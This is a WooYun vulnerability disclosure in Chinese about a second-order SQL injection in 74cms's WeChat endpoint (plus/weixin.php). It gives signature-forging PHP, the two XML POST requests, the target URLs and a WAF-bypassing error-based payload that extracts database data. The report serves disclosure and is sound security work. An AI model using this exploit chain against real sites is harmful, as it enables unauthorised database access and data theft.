当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0195271

漏洞标题:74cms_20160329及前面版本存在xxe二次注入

相关厂商:74cms.com

漏洞作者: 路人甲

提交时间:2016-04-12 15:00

修复时间:2016-07-14 17:20

公开时间:2016-07-14 17:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-12: 细节已通知厂商并且等待厂商处理中
2016-04-15: 厂商已经确认,细节仅向厂商公开
2016-04-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-09: 细节向核心白帽子及相关领域专家公开
2016-06-19: 细节向普通白帽子公开
2016-06-29: 细节向实习白帽子公开
2016-07-14: 细节向公众公开

简要描述:

无条件限制,前台直接注射,花了大半天写文档和exp脚本

详细说明:

问题出在plus/weixin.php

$lat = $data['Latitude'];
$lng = $data['Longitude'];
$jobstable=table('jobs_search_key');
$rows = 5;
$offset = 0;
// 获取周边职位
if(!empty($lng) && !empty($lat))
{
$idresult = $this->query("SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM {$jobstable} WHERE map_x!='' AND map_y!='' ORDER BY juli ASC LIMIT {$offset},{$rows}");
while($row = $this->fetch_array($idresult))
{
$id[]=$row['id'];
}
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3";
$jobs_list = $this->getall($sql);
}


其中$lat和$lng是从$data变量获取的。然后$data变量又是从

require_once(QISHI_ROOT_PATH . 'data/weixin/location/'.$object->FromUserName.'.php')


文件中引进的。那这个文件怎么生成的呢。在receiveEvent函数中生成的。

//接收事件消息
private function receiveEvent($object)
{
global $_CFG;
switch ($object->Event)
{
case "subscribe":
$this->content = "欢迎关注".$_CFG['site_name']."!
1.绑定您的".$_CFG['site_name']."帐号,求职招聘更加方便,并实时接收提醒通知。<a href='".WAP_DOMAIN."binding.php?from=".$object->FromUserName."'>点此立即绑定</a>
2.您可以回复【j】或【n】获取紧急、最新招聘信息,或者回复职位、公司等关键词如【销售】获取相关职位信息。
3.每日签到,免费获取积分!";
break;
case "LOCATION":
$map=(array)$object;
$cache_file_path =QISHI_ROOT_PATH . 'data/weixin/location/'.$object->FromUserName.'.php';
$content = "<?php\r\n";
$content .= " return \$data=".var_export($map, true).";\r\n";


这边没有过滤,就直接把数据写入到文件中。$object参数是从responseMsg函数中带入

//响应消息
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
};
$this->timestamp = $_GET['timestamp'];
$this->nonce = $_GET["nonce"];
$this->msg_signature = $_GET['msg_signature'];
$this->encrypt_type = (isset($_GET['encrypt_type']) && ($_GET['encrypt_type'] == 'aes')) ? "aes" : "raw";
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr)){
//解密
if ($this->encrypt_type == 'aes'){
$pc = new WXBizMsgCrypt(TOKEN, EncodingAESKey, APPID);
$decryptMsg = ""; //解密后的明文
$errCode = $pc->DecryptMsg($this->msg_signature, $this->timestamp, $this->nonce, $postStr, $decryptMsg);
$postStr = $decryptMsg;
}
if($this->check_php_version("5.2.11")){
libxml_disable_entity_loader(true);
}
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$rxType = trim($postObj->MsgType);

//消息类型分离
switch ($rxType)
{
case "event":
$result = $this->receiveEvent($postObj);
break;


可以看到$postObj直接获取post的数据没有过滤带到了receiveEvent中,然后receiveEvent函数把用户提交的post数据写入到文件中,然后clickNearbyJobs函数读取文件中的数据带入到数据库查询,最后造成注入。
用户分两次提交数据,第一次先构造好数据把payload写入到文件中

<?xml version="1.0" encoding="utf8"?>
<xml>
<To>test</To>
<FromUserName>wooyun</FromUserName>
<Event>LOCATION</Event>
<MsgType>event</MsgType>
<Latitude>666</Latitude>
<Longitude>写入payload数据</Longitude>
</xml>


其中FromUserName要是注册用户,并且要和第二次提交的FromUserName一样
这边有个验证Signature的步骤,不正确,会导致程序退出。

//响应消息
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
};


跟进checkSignature函数

private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if($tmpStr == $signature )
{
return true;
}
else
{
return false;
}
}


这边变量都是可控的,就可以自己随便生成正确的一个就好。其中$token是不可控,但是默认为空。我以$timestamp=a生成代码如下$nonce=b生成代码如下

<?php
// $signature = "";
$timestamp = "a";
$nonce = "b";
$token = "";
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
echo "\$signature = ".$tmpStr;
?>


然后提交地址

http://localhost/74cms_v3.7_20160329/plus/weixin.php?signature=da23614e02469a0d7c7bd1bdab5c9c474b1904dc&timestamp=a&nonce=b

提交上面的xml的post数据就能成功提交
第二次提交的数据是为了能让程序读取上面生成的文件数据带入到数据库执行,这边

$this->check_weixin_open($object);

有检查微信公众号开了没,默认是没开,不过无所谓,因为该函数最后返回了,并没有没有开微信号就让程序退出,所以对下面程序的执行没有影响,可以忽略不计。
第二次数据提交地址依然是

http://localhost/74cms_v3.7_20160329/plus/weixin.php?signature=da23614e02469a0d7c7bd1bdab5c9c474b1904dc&timestamp=a&nonce=b


提交post数据

<?xml version="1.0" encoding="utf8"?>
<xml>
<To>test</To>
<FromUserName>wooyun</FromUserName>
<Event>CLICK</Event>
<EventKey>nearby_jobs</EventKey>
<MsgType>event</MsgType>
</xml>


这边要绑定个人帐号

// 周边职位
private function clickNearbyJobs($object){
global $_CFG;
$usinfo = $this->get_user_info($object->FromUserName);
if(!empty($usinfo)){
if($usinfo['utype']!=2)
{
$this->content = "本操作需要绑定个人帐号!";
}


但是只要在这个地址http://localhost/74cms_v3.7_20160329/m/binding.php,填上正确的注册用户密码即可

0.png


这边绑定并不需要管理员权限等,但是你要绑定的用户要和你上面要提交的FromUserName的用户一致
然后讲讲payload的构造,由于74cms查询的时候也会有过滤,过滤函数如下

//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
global $QS_pwdhash;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
$userIP = getip();
$getUrl =request_url();
$time = date('Y-m-d H:i:s');
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
else
{
return $db_string;
}


过滤了注释符,还有sleep盲注使用的一些函数。由于变量是在中间,不是在结尾,不能有注释符,有没有回显,参考了 http://**.**.**.**/bugs/wooyun-2010-0150114 绕过waf,构造的payload如下

'1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 114,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1'


如果IF(ord(mid(user(),1,1)) = 114,1,1E308*2)条件正确,就会进入到这边

if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3";
$jobs_list = $this->getall($sql);
}


这边查询是错误的,列会不匹配,但是没事,报错结果是不一样的,这边报错是

Error:Query error:SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((111*PI()/180-map_y*PI()/180)/2),2)+COS(111*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 114,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs WHERE id IN (1) ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3


如果IF(ord(mid(user(),1,1)) = 114,1,1E308*2)条件错误,1E308*2超出范围,直接报错了,不会进入到下面执行了,这边的报错信息是

Error:Query error:SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((111*PI()/180-map_y*PI()/180)/2),2)+COS(111*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 112,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key WHERE map_x!='' AND map_y!='' ORDER BY juli ASC LIMIT 0,5


那我们就可以直接根据报错信息的不同获取数据了

漏洞证明:

提交错误数据

1.png


报错信息

11.png


提交正确数据

2.png


报错信息数据

22.png


写个脚本跑跑试试

aa.png

修复方案:

最新版0401已经修复了
用户升级到最新版就好

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-04-15 17:15

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无